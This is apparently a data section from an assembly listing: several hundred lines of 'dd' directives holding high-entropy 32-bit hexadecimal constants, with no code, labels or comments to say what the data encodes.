dd 170C0E8h, 71F7CE4Eh, 0FE688600h, 0C6643DAEh, 88D40624h
dd 488D1A2Fh, 780A3500h, 0D04FCF97h, 0C54D0F57h, 9B07FE6Ah
dd 0C234B025h, 0CE1FFC87h, 0A845494Fh, 203D1E19h, 5518FEF9h
dd 6C1D8929h, 0D18E6401h, 0E2186536h, 1CF321C0h, 29BFEC8Eh
dd 69046D3h, 0C8A5622Fh, 18169481h, 718E5C63h, 15283D29h
dd 0F00094A5h, 8CDE8E1Bh, 447A3845h, 23B88152h, 8E620717h
dd 6235D497h, 1AF121A7h, 0E328C08Eh, 0A2358313h, 0BF1C081Fh
dd 3A827D40h, 0ED72C9Eh, 0CD492EB7h, 8FF08BAAh, 0EBE025A9h
dd 0B39B1CCEh, 9AC5051Dh, 0C405D12h, 733A1E4Ch, 4A7600A1h
dd 2B36503Eh, 6903715Eh, 48BE33FEh, 305A309h, 27DFCE31h
dd 5AC0E9AFh, 2D28423Ch, 0F20594F7h, 4DB121F6h, 98289C40h
dd 0E4D46274h, 0CB8D1913h, 806008BAh, 74D00721h, 280D11C3h
dd 30B4C02Fh, 0BF785A22h, 29C04E05h, 547F3151h, 33061882h
dd 34198941h, 7D029318h, 0FAD4E430h, 6C3C4809h, 4154589Ch
dd 357A925Ch, 6A9CC000h, 83C757D6h, 0C3CA00E4h, 0BCFD95A7h
dd 3B033035h, 0CFD48436h, 0B2BBE8D8h, 0AE622A81h, 147907ACh
dd 0E01C1FBCh, 0EA7F4C13h, 1E314000h, 0FB7D64Ah, 0EF80A5F3h
dd 654A8031h, 0CADA9B9h, 5BD62BDEh, 0B8B866E1h, 0C5678700h
dd 58C80730h, 5E143AF7h, 8C93A80h, 9A3CFFB1h, 0E8FB7024h
dd 9B37A280h, 985609Ch, 3CC6D8BFh, 1568242Ah, 0E600D404h
dd 0D5B87C38h, 0C11688F6h, 10091E11h, 180C00C4h, 7C90571Bh
dd 0B09300FAh, 0C05C1F16h, 8101E775h, 0CF215F84h, 0A9804ED7h
dd 8FA9C437h, 0AB024482h, 0E3CEF5EDh, 0D96C48BBh, 0E516009Bh
dd 654E09E8h, 59F0EA83h, 2FF9D009h, 9CDC08A4h, 0D4831D11h
dd 0C29A1E74h, 0B105F31h, 0A90074CCh, 9EBD435Dh, 2ABCF10h
dd 4283A0C0h, 0C8805E46h, 4FDEC7D1h, 949EC00h, 4781E090h
dd 7B060751h, 7CAE8992h, 0CC005651h, 83EA2636h, 0A02D3A32h
dd 5379D3F8h, 1B29F041h, 18597154h, 402E0B6h, 0CFD853C1h
dd 5E90C0E3h, 0C2002D5Dh, 7DD4519Fh, 1ACB37Ch, 676640F2h
dd 24127B54h, 94A6CF6Ch, 32888400h, 0B7DA01B1h, 0F6F0005h
dd 0F5F6C587h, 0C771CE9Eh, 0C860C36Ch, 281063F2h, 0AF82D357h
dd 6D771040h, 0E6CF6F0Dh, 0CC31301Bh, 20DF3093h, 6BE9DD80h
dd 22554300h, 19DC1B79h, 500A709Dh, 4586D1h, 557E1DB4h
dd 0CFF5F2A9h, 0FE6BD913h, 0BF38D002h, 313E00EEh, 9CA15816h
dd 90C82485h, 0B823C70Bh, 0F3481BE8h, 0D558B42h, 0DBF6A28h
dd 3C46DC7Eh, 0ED580A28h, 2FD44F04h, 0C0C1A472h, 20402C52h
dd 0C1B18551h, 93FA3BB9h, 3C30A69Fh, 69788104h, 14855802h
dd 8A7F80A1h, 0D3998212h, 631C6BC7h, 9262E064h, 6819C14Bh
dd 0D55C4439h, 0B34060C5h, 4CF1220h, 5573209h, 2B84D1F7h
dd 4980414h, 7FD40D1Ah, 0E58070C6h, 0E880508Ch, 95753B38h
dd 78E5344h, 0C07949Dh, 4A2BF0C8h, 4D60D7C6h, 0F4DBB1E1h
dd 5D401C5h, 746B33BCh, 3BC98402h, 6080FD42h, 1CBEC75Dh
dd 401F54E9h, 4ADF382h, 0CA133A35h, 88026E1Bh, 449E81E6h
dd 0C36A00F0h, 826129D2h, 6E601A30h, 0CFBC3BA8h, 7D73C7Fh
dd 0E2EC74D8h, 80078843h, 898FDA14h, 80820804h, 5CCABFB8h
dd 74195F0Ch, 1FF7C10Ah, 0C052C446h, 0B8E0CEACh, 0BE394185h
dd 0B0F9013Dh, 0D8FB3E56h, 0A91A6420h, 0A092D1ACh, 342007B2h
dd 0C02CE04Fh, 0C3016B1Fh, 4CCDDB46h, 5C4A559Ah, 3389AAC4h
dd 0FFC1D89Ah, 37B60054h, 693D5281h, 2E00F2E9h, 55576080h
dd 0C003738Dh, 8A1C7C1h, 0CF00EA14h, 0C0FB2661h, 0F65F1BEDh
dd 535A1760h, 72BC20D6h, 69FAC5CDh, 81159400h, 44937DA1h
dd 7875D4h, 9B05066Fh, 9D70C176h, 0BC0C555Ch, 5B008CA9h
dd 0B55DEABDh, 1950E61h, 81B9B145h, 208D5230h, 0C700BF9Ch
dd 0F79EF67Ah, 268A854Eh, 974056Ah, 1092D457h, 437EC885h
dd 0B3018BB8h, 0A8F31DC8h, 8A061009h, 0AADC1BEEh, 98F0038h
dd 18C10F9Bh, 98BFC056h, 9DF4060h, 348A7A6Ah, 88B7C481h
dd 86CBE351h, 0BC80B859h, 64E7279h, 8A428192h, 0B758059h
dd 1A9C9E50h, 8E5F058Ch, 381D36D4h, 173BECFCh, 40BF878Eh
dd 408EB4F4h, 0D41CDA5Ah, 16E724B7h, 0C0123BECh, 0CB0490D7h
dd 0D87531E0h, 50789F00h, 6D56652Fh, 484AEAD6h, 7700A45Eh
dd 35C0510h, 850F4966h, 0A7C7D49Eh, 6480B131h, 547119AFh
dd 996A4FAh, 8420CCE7h, 97CDC26h, 0B6C81054h, 65CC1F1Fh
dd 4D9935DEh, 0EC181C40h, 8425CC08h, 21D8C6EBh, 0CC24BD00h
dd 7BC28DCDh, 0D1B501FDh, 0D79EBCCAh, 6F502452h, 4679C1Eh
dd 13C01100h, 7E9A5F48h, 61240429h, 80F47189h, 0A66022A0h
dd 0D60F8498h, 0B30B487Fh, 0B02E1417h, 0C089A710h, 556CF761h
dd 96880909h, 508E3951h, 0DA15FFE1h, 8269BCCFh, 492F163Dh
dd 876851C7h, 0F4E53A23h, 9F630Ch, 3A1C4621h, 47179008h
dd 2021B60Ch, 28A509Ah, 0F26C18FDh, 6AC11668h, 0BD199307h
dd 5DF48C02h, 8A0042AFh, 85040068h, 60903832h, 0B263E075h
dd 0F87F17E0h, 0E7080855h, 687456C0h, 227246D4h, 0CE09005Ch
dd 0A62E4174h, 0CB1614EAh, 180231D3h, 7529F7h, 80F60A3Bh
dd 524FD70Bh, 35701088h, 0AA2B20D2h, 8E8FD609h, 0CEC0AA9h
dd 0E3DE5106h, 0E890029h, 0E4EC450Ch, 0CD00E525h, 42654B33h
dd 4FA2B6h, 827C9E31h, 8052637Dh, 5039B260h, 13F9306h
dd 99E9619Dh, 7446B62Ah, 8F78D47Ch, 0EB708B60h, 3187D066h
dd 0D51085CAh, 0D8BC508Ah, 2B069B84h, 0B9E3B3B7h, 0C1580059h
dd 3EB47C03h, 0FA12A9B5h, 9B008E26h, 36061B19h, 0E3449255h
dd 0BF890980h, 60A131DFh, 5F04AB77h, 0BA1302D4h, 8A3268C1h
dd 794C0A13h, 0A17B0B70h, 10FD804Dh, 0E09C75h, 5915C350h
dd 37648D2Eh, 72D33Ah
dd 0B788732Ch, 92E8B35Fh, 26046C8h, 8421CCF0h, 0C1001C4Bh
dd 992DCCE8h, 924FDAAEh, 80E7622Ch, 0C4E0CDCBh, 0C6068706h
dd 2E5CABC7h, 2FF64E39h, 88E110B0h, 84B0C0DDh, 0CBF3655h
dd 4821654Eh, 10295EFAh, 17124B10h, 88307C52h, 80A687DAh
dd 5E499082h, 5B186218h, 36D60308h, 1804C894h, 23409A00h
dd 0FAC44C79h, 0A76F0017h, 8224BF5Dh, 49485E42h, 0B0622E08h
dd 688B3D04h, 7D543A00h, 0A0BACA8Ah, 13F48806h, 2E601C1Fh
dd 42987286h, 832093C7h, 0BC8E2Ah, 9D87B7DCh, 0C00CE7D1h
dd 20AD3F30h, 3FA002F6h, 20D3CA18h, 67C42F84h, 0C47CC589h
dd 3113635Ch, 8579F358h, 0D048916Fh, 0CEE82898h, 249AF42Ah
dd 4B21A160h, 153A17h, 0ABD86ECEh, 595F6508h, 0EDD35801h
dd 0A31BDA35h, 939B848h, 0D78673D2h, 504EA4A2h, 0DF0E48Ah
dd 2C280E57h, 8C56BC24h, 93639707h, 4089DA36h, 547F8AC8h
dd 67EEFCF6h, 0DCBFF831h, 7FE289B9h, 0E4A7722Ah, 194654A6h
dd 418E487Fh, 7040052Eh, 8E0060F7h, 0A1649E06h, 12C6D1DEh
dd 4903712h, 9DD5BB4h, 973080F2h, 0A287CDA0h, 0DFB048AEh
dd 0EB69C0B7h, 2EAEE0FCh, 952950Ah, 4C4FB032h, 0D0B15Dh
dd 7E0C362Ah, 91962B14h, 17FEF700h, 8992E15Eh, 0EF212886h
dd 61F909E0h, 0E84060EEh, 8200E288h, 67249630h, 3C194Ah
dd 2973FC45h, 699274D8h, 2E815707h, 0E6005D66h, 8B2187h
dd 0FD85D353h, 0EB58ECA3h, 3944D700h, 113E083Ch, 3A7FBAh
dd 0AD03AB54h, 0AF8CE368h, 9D8838h, 1838BCDBh, 394EA40h
dd 7A7BB9A1h, 0ECA05239h, 6000F3A0h, 275CCB2Bh, 63D49D50h
dd 7AF00837h, 29112000h, 51BC212Bh, 629F0085h, 96B6BDE5h
dd 4A006C2Ch, 183528D1h, 0CCA2E9h, 75F616A1h, 6C7C3481h
dd 7B53BD0Fh, 13A68112h, 1080A0EBh, 6492C98Ch, 0B70CE535h
dd 8DD6D77h, 6F21C082h, 0CDFB92D2h, 0B2D18300h, 773CE0F9h
dd 369883ECh, 0F20E4429h, 0D13DFFh, 0FAB93E66h, 33C400FEh
dd 0F56030BCh, 51C0AF1Ah, 32589DECh, 0D64003EDh, 0F26020C3h
dd 53BA2003h, 0A5942Ah, 0C0AD8029h, 0D7A01C44h, 0D823AF0Eh
dd 218F8CD6h, 0C0A43BE3h, 0FE544307h, 0E7E8ACBDh, 0DB650F09h
dd 4B3C00CBh, 0E6711BE6h, 9070C0BBh, 526929ECh, 0F7108460h
dd 433E2Ch, 0F809512Eh, 5864AEE5h, 0FD34B800h, 9E1B0B07h
dd 1D7401C3h, 0B96583D8h, 0FB32F48Fh, 8DD25600h, 0F43C239Ah
dd 0A5D500C5h, 0D02D2C72h, 440099AFh, 9F9D4A32h, 3E6F4F7h
dd 710F5C23h, 1DB9D0C1h, 38BE24h, 13748642h, 6954D7Bh
dd 47FEA2E5h, 1407203Dh, 7A96C04h, 8ACA6B10h, 0BD121316h
dd 0CB36008Ch, 5C096E1Fh, 94E05100h, 87700F2Eh, 0BC7C03ADh
dd 0FB3A975Ah, 4440D0E2h, 0A4F83EC3h, 9AD20901h, 7BEC9DD1h
dd 38899E0h, 0EE759712h, 0E8E3F573h, 7AFDBDE0h, 9B06D003h
dd 1FC328B8h, 0F301A541h, 0E2B04218h, 54039CC8h, 449E9DFCh
dd 95E800F5h, 0DBF40368h, 0F3207FEDh, 7E163A3Bh, 877B369Fh
dd 50B1F55Ch, 6BEE6A35h, 0A4E08D2Ah, 0C882AA00h, 0F18FB524h
dd 19C506C4h, 21E86537h, 83E66100h, 0E7216394h, 0CA4B03F5h
dd 0A1A233DEh, 86A68098h, 9026041Dh, 107934BAh, 0A1C3042Eh
dd 1000735Ch, 0BD32837h, 1A0B6BAh, 26C7EE96h, 30545620h
dd 0D200DD23h, 0AC10B0F9h, 1C80DC6h, 49940E4Fh, 70189AD9h
dd 27006537h, 0C9BA6CE7h, 735DE5EDh, 0F00D0731h, 13139C60h
dd 1988C0F5h, 6532CE72h, 0C0CF025Ch, 2BE53Fh, 0C994AFA8h
dd 2ADC9B63h, 0B540A03h, 0F875A9C3h, 2C03Ch, 0D7F20C8h
dd 0D4F1F78Dh, 0A1079A00h, 0F6261FB0h, 0AE70074Ch, 0F044E443h
dd 5AA304Bh, 1400D2FEh, 9A9E51C1h, 490711h, 0F9EBE83Dh
dd 0F5D62360h, 77C2BE00h, 5F0E5194h, 0FE641FA2h, 21420080h
dd 0BFB1F2D9h, 0D73F720Fh, 0DAC6A04Eh, 78C4C302h, 960F0EC8h
dd 1460D54Dh, 69C759B7h, 69450E30h, 0DEFACh, 0E2315639h
dd 6377C119h, 2C7F91FEh, 48B2C400h, 7CCF1738h, 0CB260029h
dd 25411C27h, 0CD1D52FCh, 3D004208h, 0ABE581F9h, 0C86D00DEh
dd 248E8449h, 7198566Ah, 94349500h, 46EED7E1h, 0FE7B3Fh
dd 0FA12BE9Ch, 3B4BC1BAh, 0CA7C5C00h, 2D108B3Ch, 90700F2h
dd 48D35E2Ch, 1600DB3Dh, 9CCBDEDDh, 0E80A7F5h, 49F8C09Eh
dd 0CFCA00DEh, 406E9381h, 389CA800h, 590E982Bh, 651304DEh
dd 90C92CACh, 48DC0C2Ch, 0C825ED06h, 0F85773h, 36BDF577h
dd 0B2B30ED2h, 8478A100h, 4FBC9125h, 0EAB51873h, 7E906982h
dd 19613104h, 5481038Ah, 23C43B6Dh, 7DA70025h, 1F94CEB4h
dd 800D9D3h, 0C4282B12h, 0C8E697h, 0FF0D6143h, 7C57AEBEh
dd 676B1800h, 0F8B4ECB5h, 3D739FBh, 0C05AEF1Fh, 0FA886872h
dd 0DF3AA58Ah, 7E1F81D1h, 0CD541CF1h, 7CF79EC4h, 467D385Ah
dd 70C86037h, 6BEA93C8h, 980074F0h, 0B99469F5h, 74B01FCh
dd 0E27D4589h, 7A0790F0h, 8E0CEA0Dh, 41BD7E81h, 0B1CF0098h
dd 780B06A1h, 24E085DAh, 0E3D56300h, 9A2335E9h, 5F5100C2h
dd 3BDE7EABh, 0D207E2CDh, 1E04226Ah, 0AFEB0AA0h, 760C016Eh
dd 851B32F4h, 54DFCBAh, 55BD5800h, 2BF7BBEEh, 0A0037A06h
dd 3FC698A0h, 6CC9C3F1h, 467FB400h, 0F882FF4Ah, 959B0501h
dd 6584F222h, 0ADCE2080h, 0D1EFE8C4h, 0A9E43C00h, 332FE6BCh
dd 656407EAh, 23B6EEB3h, 24B3B0ECh, 0F4A71F8Ah, 1E15203Bh
dd 6F00FF70h, 0D54B2C71h, 13E0AA4Ah, 0F3E4Fh, 94A0E1FAh
dd 714C5255h, 0AAB2001Eh, 1DA17849h, 9C7D04E8h, 90CB97A5h
dd 1CDC0128h, 0D58EE962h, 14AC481Dh, 186D70AEh, 689ABCCFh
dd 2F1DA93Eh, 5A80673Fh, 1FD4EEE3h, 950519EDh, 0C03C2847h
dd 0BB07966Eh, 8C983057h, 0A806B00h, 0D3440E77h, 0C8C07402h
dd 0AC573667h, 24ED8E4Ch, 0CE00C031h, 9F45EC6Dh, 0D37F5Ah
dd 0A3F22B61h, 0D463ACDDh, 0B250C203h, 0A8A992h, 6A3D4FB9h
dd 0E096CCF4h, 0AC9B2600h, 148A8D91h, 1FE67Dh, 3FAAA03Ah
dd 0A3C43CD5h, 3E16617Ah, 0EF0B5F68h, 914D00CEh, 1FC24027h
dd 1ED050ADh, 4D0C0088h, 3DA8E0C6h, 0C000537Ah, 4A65F97Bh
dd 5CD64278h, 0E4007337h, 8D7FA8F7h, 0A900B99Eh, 8140D141h
dd 1200CB1h, 458687DEh, 0FDBBD8DAh, 0FDEFF8D7h, 807C1000h
dd 54A73821h, 4D28C71Bh, 0BC822DCh, 98144E40h, 0B7CF3500h
dd 77585ABAh, 0A84300C6h, 4F82D0D6h, 0ED008A67h, 0C418C792h
dd 3F4E62FEh, 81011BC3h, 3366783Bh, 0F557D493h, 25C03200h
dd 0AD45963Ah, 0D7AA2C87h, 8C89021Eh, 54C8D876h, 297814C8h
dd 416A3204h, 14C0E9B0h, 0FF99E1h, 5C1DC0F3h, 8C3BBC5Eh
dd 0F7008579h, 4542BA95h, 4A3A48h, 0C38EE879h, 49C0821Fh
dd 978BE400h, 3EB38788h, 0F56A0410h, 0C00B986Dh, 28A2AF84h
dd 0C32C3301h, 0C720074Dh, 321FE4h, 97635491h, 2E23BEA8h
dd 0AC29FC02h, 0C91B6292h, 9DC8B5D8h, 0DFA20E20h, 0A1C06A87h
dd 0FB7911B9h, 1400F57Fh, 0B62F7D2Ah, 0C5CCA4h, 0B8965615h
dd 49084B02h, 0ACB9BD03h, 0B067F2E9h, 0FA95C16h, 0D43C3461h
dd 2911DCA0h, 0DBEC307Ch, 1F9540C0h, 2D7E5h, 63BAFB67h
dd 0CF6984D1h, 44D6BB24h, 8F399983h, 0A84D8810h, 0D4910E5Ch
dd 638038E9h, 0F24E7D6Eh, 0A5F47050h, 4811D200h, 0FA8E6F41h
dd 0AB3728FCh, 7140087h, 64FE06C8h, 7700DE5Dh, 0EF9E5E46h
dd 0CF0CBh, 28825B34h
dd 909D74E2h, 5EB6BC00h, 0DE9AC295h, 5DFE0B1Ah, 0E500E761h
dd 0B8BE15C3h, 0D4C47C12h, 0F89C2003h, 9B93C82Eh, 9A360043h
dd 725A4EDh, 0BA00584Eh, 0DA1AE710h, 0E476B12h, 0C10D9370h
dd 74C65B00h, 0A80F79A5h, 80CE42E9h, 4105FF11h, 0E238006Ah
dd 340FF076h, 5BF073B0h, 30CE2103h, 0D3CA19ECh, 18AC889Eh
dd 0DEF302B8h, 64256BA5h, 770B39E0h, 0AC00800h, 49AE6AB6h
dd 0BA7B004Dh, 340DCC3Dh, 0B4000999h, 0FF951D6Bh, 0E73162h
dd 21E867D2h, 0E3CB7DC9h, 99008971h, 5AC1BFEDh, 5D585A0h
dd 8B48E4A1h, 0ECD50E4Fh, 9AE40073h, 5AC237DCh, 0A4BD0500h
dd 99C68831h, 578F00F0h, 730F8A6Ah, 9F02EDADh, 0BDCBA13h
dd 0EBE4E875h, 401C0083h, 87031F34h, 2A2C4560h, 0C300E0A8h
dd 61059748h, 84C8A068h, 0FED60009h, 63FB2722h, 1B7BC247h
dd 7DE26607h, 539C529h, 0BC80D283h, 0CE86B1Fh, 51B1D90h
dd 0E700CB10h, 5D837AF5h, 47826Ch, 0AFD3C9D6h, 0DBCEA984h
dd 26D18C00h, 0BD717890h, 0C11600D7h, 0F72EE352h, 2C00A61Dh
dd 0FC0981E6h, 70CDE036h, 3C650353h, 1F5E4D17h, 0D802718Bh
dd 381DC5Dh, 0A89A8009h, 0C0C0267Bh, 0E2EBF8F0h, 0FCE4365Eh
dd 95D4D801h, 0A273A501h, 4DA37824h, 0FF011C82h, 87C9D508h
dd 3982039h, 3F077CECh, 0A5C0FCB3h, 33DAC200h, 0F227121h
dd 0A67A6B89h, 67CC5C40h, 0DB009ED5h, 0A5886375h, 3E6B2766h
dd 0C500FF7Ch, 9C15652Bh, 85004C22h, 0ACCE1D14h, 0E01935EBh
dd 1B7DF5h, 227EA24h, 0EE5D4DCh, 4790F80Fh, 6C9800EBh
dd 0C195E18h, 847E6305h, 2E0E66B1h, 0E101CCB5h, 4909A1DCh
dd 216F0898h, 0B50015BCh, 2C89F47h, 14DDAh, 5D8045D9h
dd 0A46F54EBh, 19947150h, 77881852h, 9BC2AD00h, 74E91B1Fh
dd 0E7C33A27h, 0E3218B30h, 7F48C2B5h, 3C1B0013h, 1EC66AAFh
dd 4D4707FCh, 81B4EE13h, 8966E0F3h, 0C22E660h, 8C946808h
dd 28C2AE0Dh, 3411601Fh, 0E6008754h, 7500C2B6h, 0F3975FC5h
dd 4BA3E164h, 50485971h, 1DAB1893h, 231F5DC2h, 0E90F5111h
dd 0A180C2B3h, 27AF5AD8h, 0EF8C0300h, 203545DCh, 8278185Eh
dd 0A0116167h, 0AF4E59DCh, 0CEAA8024h, 78FC3359h, 0AD5E00A6h
dd 467CBD55h, 94E47A80h, 80079E25h, 699AE498h, 8C5C1CE5h
dd 3C854C82h, 7860EB08h, 69624620h, 0DE020704h, 30C67D8Fh
dd 2360E1BEh, 0DC268201h, 0E4F9D479h, 8C30FC48h, 8FB52D04h
dd 6E622101h, 0B594C920h, 84F30C63h, 7A405C1Fh, 0EC61D418h
dd 3C4FC50h, 81BC730Dh, 398847F2h, 0A000381Eh, 0C9DDA575h
dd 17049Fh, 692E53ACh, 0DADED584h, 51EBB807h, 10F2C389h
dd 8895E0AEh, 78F10072h, 56FEEC2Bh, 0A07427C8h, 5A2401E6h
dd 4500BEAEh, 531262Dh, 0E77607FEh, 0F0B344A6h, 6FA54F4Eh
dd 510FC6EEh, 0E0DDDC0Fh, 43CC87A1h, 766D075Ch, 10D86C28h
dd 92323352h, 0AF007CECh, 5A3D8571h, 0DBED23h, 6BEF0935h
dd 0A0E09282h, 0E6882B01h, 0C49C19BAh, 1EC55AC1h, 0FB239080h
dd 0C786965Bh, 4300E9FCh, 0C84081F6h, 3120D378h, 8529EDB0h
dd 0BD61803Ah, 41A7A48Fh, 687C00EAh, 0E6834A7Dh, 27745772h
dd 0C6848801h, 4D4EE104h, 8C86D0h, 0D13B8D80h, 1D7F03D4h
dd 0E0287455h, 82FEC4FEh, 67FBE404h, 73003811h, 6F5064D1h
dd 0A3944B07h, 3B80D0C8h, 0C914FD6h, 8D7885A2h, 0FA0D8458h
dd 3833696Fh, 0C2B55DCh, 74F191A2h, 783B0BC1h, 159B8096h
dd 80CF495h, 44F216h, 0F085FF92h, 0A5C8A006h, 0FA042000h
dd 0E6BA1228h, 6899724Bh, 8084AA86h, 0AB359158h, 0A0008B0Eh
dd 0D1663D64h, 242CDD67h, 314A36DFh, 0DCBF57D9h, 0B9587F25h
dd 0A8D00EAh, 0E4530B5Dh, 32BB0001h, 41EEA279h, 4E86FC7h
dd 34BCD3Ch, 681A5694h, 0D3D100C1h, 3B62DC5Fh, 57003561h
dd 744516BCh, 1EA0A106h, 0C0AB4E1Fh, 0E2372080h, 0BF00A286h
dd 0CCB888BCh, 25828Dh, 0AC249D54h, 0F3D391DEh, 0E7AFED00h
dd 1FCB8041h, 0DF623E5Eh, 0C7BB679Eh, 0C0367B98h, 5C403205h
dd 477A5500h, 530304ECh, 0BA990087h, 0FA70C030h, 0ED0040F7h
dd 0C438BB5Eh, 309844E9h, 0FE29C5D0h, 56005B74h, 0CF9019B7h
dd 61C6A608h, 108EB021h, 0B4B1CCCCh, 9BB0B200h, 0C72C8814h
dd 3759004Ah, 7AADB33h, 5C17605Eh, 31FFD78h, 2C67C301h
dd 0CA70F976h, 9C230085h, 1920B707h, 0A1005AF7h, 77B8BF60h
dd 70FF6CBh, 5C3290BDh, 2CD4D01Eh, 3600D8ADh, 57515A4Ah
dd 70828DDh, 9BF4EE20h, 27C9C0CEh, 0BD07DCA2h, 110A6B22h
dd 334047C0h, 0A7E6BFh, 6E8777C6h, 44EECEC2h, 2230C300h
dd 0F16736A8h, 88C0003Fh, 0CEFA0913h, 0C5729D03h, 0EF01F900h
dd 0ADA60A0h, 0F4E73A21h, 0AEE3A980h, 0A8B0C435h, 31632400h
dd 0EF69414Eh, 3E91E40Eh, 0A180959Dh, 223974Ah, 5A001D74h
dd 445014FAh, 0E21648h, 1AD79B10h, 69190884h, 3300AA79h
dd 91321C15h, 724C6AEh, 66957EFAh, 549CD1C5h, 93C8E4F4h
dd 0A1370F00h, 6E2CD7DCh, 60060F61h, 3D40CB35h, 0E2B1BAFCh
dd 821E2D00h, 0AF67D6CFh, 10940053h, 6B4F9819h, 5A3D403Ch
dd 0AD7C8358h, 98CEB905h, 24D3A7h, 88F1743Fh, 8793998Ch
dd 8E124800h, 60C7E318h, 4DAF0065h, 94F8EE1Dh, 55009101h
dd 70BB0EF0h, 13DA744h, 0FC9EAEEBh, 0EB89B426h, 0BFB2B0F8h
dd 8295E300h, 2528F47Ch, 5B9B0067h, 43AC5264h, 1BEC8584h
dd 410A0D1Fh, 91805CC0h, 0FA2CD0h, 0C0D2C8C1h, 27503AB7h
dd 7AC75516h, 5D631100h, 7D2EE981h, 0A8033B17h, 0B7005448h
dd 643F4347h, 750FE730h, 619C02D1h, 55ACC5C7h, 8B80F0h
dd 0E91D3395h, 0AB032BAFh, 606FF507h, 0C4408320h, 3EFCA8C2h
dd 2C037B78h, 91EC26EBh, 5B6721E0h, 3329B80Fh, 0E537A092h
dd 2AA38Dh, 752B4AFh, 6BCA214h, 3ED97E03h, 0D8186BA0h
dd 0CF620EFh, 0A2EC24FCh, 720EB429h, 0E3D489C8h, 808A6A66h
dd 38B8FE42h, 5600A0BAh, 0A3F43F22h, 0AD006326h, 9DEBA7EDh
dd 5173B7F1h, 0C8DB82CEh, 4CE0F004h, 35386956h, 0D6B8FD07h
dd 0EFD5201Ah, 5F018AFFh, 0DB807D14h, 0A30073Ch, 960300C4h
dd 9C84D74Ch, 4A4C46ABh, 0B0C600F6h, 9E3F21B1h, 0AE20EFCEh
dd 0EA2012Fh, 4BEED1D9h, 7022E7h, 16B6551Fh, 2392073h
dd 0DD458E0Fh, 0A68063B1h, 0C380F19Ah, 0D86ADA00h, 0E9E3A528h
dd 650300CDh, 9ED41E07h, 0C50056AAh, 4CFFEAF7h, 139D428Ah
dd 76410B7h, 603ACB98h, 0B227DAA2h, 0E573Bh, 0C87B0F32h
dd 8D5002h, 3508F746h, 87C22F73h, 784FF48h, 0BB9F1275h
dd 90927773h, 515C3Bh, 0C7E5CED7h, 0B220C990h, 0A17B771h
dd 0B6075410h, 7D001837h, 90B906h, 942C766h, 0DC23FD19h
dd 0FA69DE0Eh, 4813A631h, 0D4AF0018h, 3D53F6DDh, 0F8393239h
dd 70B201C5h, 35BA1565h, 96B824h, 4903D031h, 0B5C8486Bh
dd 0DAC13700h, 94B2A7F6h, 89A400EDh, 0B80A55Eh, 0D0001EF8h
dd 3C65584Bh, 22462Eh, 83F1A2BEh, 0C6C51335h, 0B01E9830h
dd 18D03256h, 10E7DE19h, 0E00F216h, 9A06CB45h, 0E554498Bh
dd 0C825A450h, 0AB8624CAh, 0D8F80090h, 73F7FD60h, 215C100h
dd 0FE669C13h, 924F184Dh, 0AEEA50AAh, 282FBE00h, 6CEE357Eh
dd 9CBD00FBh, 4213A3ACh, 0F00A0C5h, 0DF496197h, 2D034A7h
dd 78196439h, 64403E3Bh, 9400DABBh, 34FD1FDCh, 9C7BF3h
dd 0BC9A13D4h, 5C3A327Dh
dd 0FD599E39h, 0BF757800h, 5F96181Eh, 80F6603Fh, 0D6B96A73h
dd 2E79DE15h, 0CEB801F0h, 1B86BA5Bh, 38EA0F0h, 0B253D870h
dd 0F00A5CC0h, 18DBE03Eh, 3D33BC00h, 0E863B959h, 2AD9E85Fh
dd 40287EDEh, 1B0E5ED1h, 8096BC45h, 364B378Bh, 0B19F0126h
dd 97162905h, 0F456F01Ch, 0C8DDAC07h, 4190808Eh, 14613ECAh
dd 0B863B55Dh, 6268B230h, 0EA0238F5h, 0DFA48E10h, 0D4388080h
dd 563D4Ah, 0DC5CFCAFh, 31E8D9B8h, 97BB4B00h, 0F80EA452h
dd 23C202B3h, 3A3BDBC3h, 436A0BC0h, 83389D38h, 409E0DCDh
dd 4D30A8FFh, 0EA2EC68h, 0F294F557h, 82872860h, 54001889h
dd 1BF08FFBh, 0F7AA0322h, 793EC0h, 4F33F7BCh, 0E863A7C2h
dd 43FC5001h, 422027A4h, 32DCABFDh, 0BEF9003Fh, 0DDE089EDh
dd 2300C91Dh, 0F5185C90h, 700144C8h, 7009F2B6h, 7334015Bh
dd 33E654BEh, 0D98EC4CBh, 63D8CF03h, 0E8E8DB10h, 3894660Fh
dd 2B872355h, 208BBFF1h, 27DDE48Dh, 0B3395Ch, 1F0BEFD0h
dd 54D8545Bh, 8FE84Fh, 0B3D39BC5h, 8A15A7E3h, 288BAF00h
dd 0EBF57455h, 0C4A354F8h, 0C2EE01FFh, 16BD9B1Dh, 302DD5E9h
dd 0A501ECFCh, 3AFF4BB8h, 598060B4h, 0C25CD28Ah, 2DEA39F1h
dd 0DC009892h, 0FAD43154h, 0D13C24h, 73E1B411h, 90B3B8Dh
dd 51713F01h, 54E0A201h, 6D55C60h, 0F7F2BFEAh, 8C3889ADh
dd 680079B3h, 0C5176B89h, 0FF8254h, 476A49D5h, 0E05EDE4Fh
dd 0B039DC00h, 0B3543A03h, 4E11DE7h, 0B5A00F8h, 0EAD3AD9Bh
dd 0DD82A709h, 6E20207Dh, 7040FFDh, 0F52C43CEh, 82E5B093h
dd 80185E5Ah, 0C82932DCh, 0A7260087h, 22A92A21h, 7E00CA51h
dd 0E529B15Bh, 0C43CD258h, 0BADEB4F1h, 0B3ADF100h, 0F482F875h
dd 8D9073h, 0E071497Ah, 0E20C427Eh, 81EBC700h, 0DA8FC606h
dd 0B1600004h, 3BB2B9EDh, 0ACA85DAEh, 0C07E281h, 0CAB559F9h
dd 56EA0088h, 0C31049DEh, 2785BEEh, 0CC01E001h, 36BD5993h
dd 0F0D2B99Fh, 1792F899h, 3A81210Ah, 290ED446h, 0F1B380C9h
dd 0DE38D94Fh, 2D8D0029h, 0DCFE86C4h, 6718C37Fh, 0FC515EDDh
dd 0F0FA3A7Eh, 0B02C9F80h, 0E2EA3E24h, 6C005CE0h, 0BFC69726h
dd 6C35BFAh, 0D822EC99h, 0A500C956h, 0E07EAAE2h, 97A416h
dd 0A1EAA3B5h, 3DC09887h, 0D48A5100h, 575EA75Ch, 394B60D9h
dd 0D8966E2Fh, 46000F70h, 0BE499F79h, 0C4B548h, 8E60DA56h
dd 0B47A95E8h, 0AEC36A03h, 1F30B8E4h, 0F9D32DD1h, 67DC9C50h
dd 0C01AC934h, 505714BEh, 0C7ECE11Eh, 0B0AFDF0Ah, 293ADC8Ch
dd 72E23CB3h, 8028E000h, 0AE7D78Dh, 4DD0CA01h, 33D9DE06h
dd 13326980h, 381941B2h, 2582E900h, 14E6A9F5h, 592426E1h
